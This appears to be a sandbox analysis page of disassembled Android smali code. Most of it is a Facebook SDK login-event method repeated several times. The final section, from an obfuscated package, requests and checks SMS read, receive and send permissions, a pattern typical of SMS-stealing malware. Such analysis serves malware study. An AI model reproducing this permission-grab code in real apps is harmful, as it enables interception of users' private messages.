                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            Cross References
                                            APIs
                                            • java.util.ArrayList.<init>
                                            • java.util.List.add
                                            • java.util.List.add
                                            • java.util.List.add
                                            • java.util.List.add
                                            • java.util.List.toArray
                                            • improve.harbor.eager.Permissions.requestPermissions
                                            Strings
                                            • android.permission.READ_SMS
                                            • android.permission.RECEIVE_SMS
                                            • android.permission.SEND_SMS
                                            • android.permission.BROADCAST_SMS
                                            • TXT_C_7
                                            • TXT_65
                                            Position Instruction Meta Information
                                            0new-instance v0, Ljava/util/ArrayList;
                                            2invoke-direct {v0}, Ljava/util/ArrayList;-><init>()V
                                            4const-string v1, "android.permission.READ_SMS"
                                            6invoke-interface {v0, v1}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                            8const-string v1, "android.permission.RECEIVE_SMS"
                                            10invoke-interface {v0, v1}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                            12const-string v1, "android.permission.SEND_SMS"
                                            14invoke-interface {v0, v1}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                            16const-string v1, "android.permission.BROADCAST_SMS"
                                            18invoke-interface {v0, v1}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                            20const-string v1, "TXT_C_7"
                                            22invoke-static {v1}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            23move-result-object v1
                                            25const-string v2, "TXT_65"
                                            27invoke-static {v2}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            28move-result-object v2
                                            30invoke-static {p0, v1, v2}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            31const/4 v1, 0x0
                                            32new-array v1, v1, [Ljava/lang/String;
                                            34invoke-interface {v0, v1}, Ljava/util/List;->toArray([Ljava/lang/Object;)[Ljava/lang/Object;
                                            35move-result-object v0
                                            36check-cast v0, [Ljava/lang/String;
                                            37const/4 v1, 0x1
                                            39invoke-virtual {p0, v0, v1}, Limprove/harbor/eager/Permissions;->requestPermissions([Ljava/lang/String;I)V
                                            40return-void
                                            Cross References
                                            APIs
                                            • android.content.Context.checkSelfPermission
                                            • android.content.Context.checkSelfPermission
                                            • android.content.Context.checkSelfPermission
                                            Strings
                                            • android.permission.RECEIVE_SMS
                                            • android.permission.READ_SMS
                                            • android.permission.SEND_SMS
                                            Position Instruction Meta Information
                                            1const-string v0, "android.permission.RECEIVE_SMS"
                                            3invoke-virtual {p0, v0}, Landroid/content/Context;->checkSelfPermission(Ljava/lang/String;)I
                                            4move-result v0
                                            6const-string v1, "android.permission.READ_SMS"
                                            8invoke-virtual {p0, v1}, Landroid/content/Context;->checkSelfPermission(Ljava/lang/String;)I
                                            9move-result v1
                                            11const-string v2, "android.permission.SEND_SMS"
                                            13invoke-virtual {p0, v2}, Landroid/content/Context;->checkSelfPermission(Ljava/lang/String;)I
                                            14move-result v2
                                            15if-nez v0, :cond_1a
                                            16if-nez v1, :cond_1a
                                            17if-nez v2, :cond_1a
                                            18const/4 v0, 0x1
                                            19goto_19: return v0
                                            20cond_1a: const/4 v0, 0x0
                                            21goto/16 :goto_19